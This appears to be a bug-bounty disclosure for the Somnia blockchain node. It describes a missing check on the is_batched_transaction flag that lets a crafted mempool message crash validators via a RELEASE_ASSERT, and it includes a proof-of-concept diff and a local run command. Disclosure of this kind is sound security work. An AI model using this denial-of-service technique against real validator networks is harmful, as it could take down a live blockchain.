https://github.com/hackenproof-public/somnia
SendMempoolTransactionRequestMessage has two important fields for this attack. The first is encoded_transaction_data and the second is is_batched_transaction. When a validator receives the message, it does not check whether is_batched_transaction matches the encoded_transaction_data. This means, there is no verification that encoded_transaction_data is actually not a batch when is_batched_transaction is set to false:
https://github.com/hackenproof-public/somnia/blob/ea5c191a893153fe020aac35532bbcaca0f8c5d1/somnia/mempool/validator_mempool.h#L100-L120
After this, the transaction is added either to the batched block creator or to the non-batched block creator, depending on the is_batched_transaction field. This allows an attacker to place a batched transaction into the non-batched block creator:
https://github.com/hackenproof-public/somnia/blob/ea5c191a893153fe020aac35532bbcaca0f8c5d1/somnia/mempool/validator_mempool.h#L84-L88
The non-batched block creator then tries to validate the transaction as non-batched and performs a RELEASE_ASSERT to check that the transaction is not batched:
https://github.com/hackenproof-public/somnia/blob/ea5c191a893153fe020aac35532bbcaca0f8c5d1/somnia/state/transaction_encoding.cc#L231-L232
This RELEASE_ASSERT fails, causing the entire node to crash. An attacker could send this malicious message to all validators, bringing down the entire network.
Apply the following diff to run the PoC:
diff --git a/ci/run-local-deployment.sh b/ci/run-local-deployment.sh
index ab51ed8c..f28df9e3 100755
--- a/ci/run-local-deployment.sh
+++ b/ci/run-local-deployment.sh
@@ -66,6 +66,11 @@ function addNodeAsValidator {
return
fi
+ if [ $validator_index == 1 ]; then # Node 1 is not a validator because only non validators send SendMempoolTransactionRequestMessage
+ echo "Skipping node $validator_index - not adding as validator"
+ return
+ fi
+
until $SOMNIA_BIN test add-test-validator \
--rpc-websocket-url $rpc_node_hostname \
--parameters-preset "$NETWORK_PRESET" \
diff --git a/somnia/mempool/non_validator_mempool.h b/somnia/mempool/non_validator_mempool.h
index c701af9f..f3b2b641 100644
--- a/somnia/mempool/non_validator_mempool.h
+++ b/somnia/mempool/non_validator_mempool.h
@@ -347,6 +347,7 @@ private:
// This next validator is connected. Send the transaction to this validator.
SendMempoolTransactionRequestMessage message;
message.encoded_transaction_data = transaction.transaction.encoded_transaction_data;
+ message.encoded_transaction_data[0] = 0xBF; //This makes the transaction a batch
message.is_batched_transaction = transaction.transaction.is_batched_transaction;
message.non_validator_transaction_id = transaction.non_validator_transaction_id;
protocol_outgoing_router.SendMessageToPeer<MempoolMessage>(validator_address,
The PoC can then be run with NETWORK_PRESET=mainnet-small ./ci/run-local-deployment.sh. After some time, the network will fail with a RELEASE_ASSERT.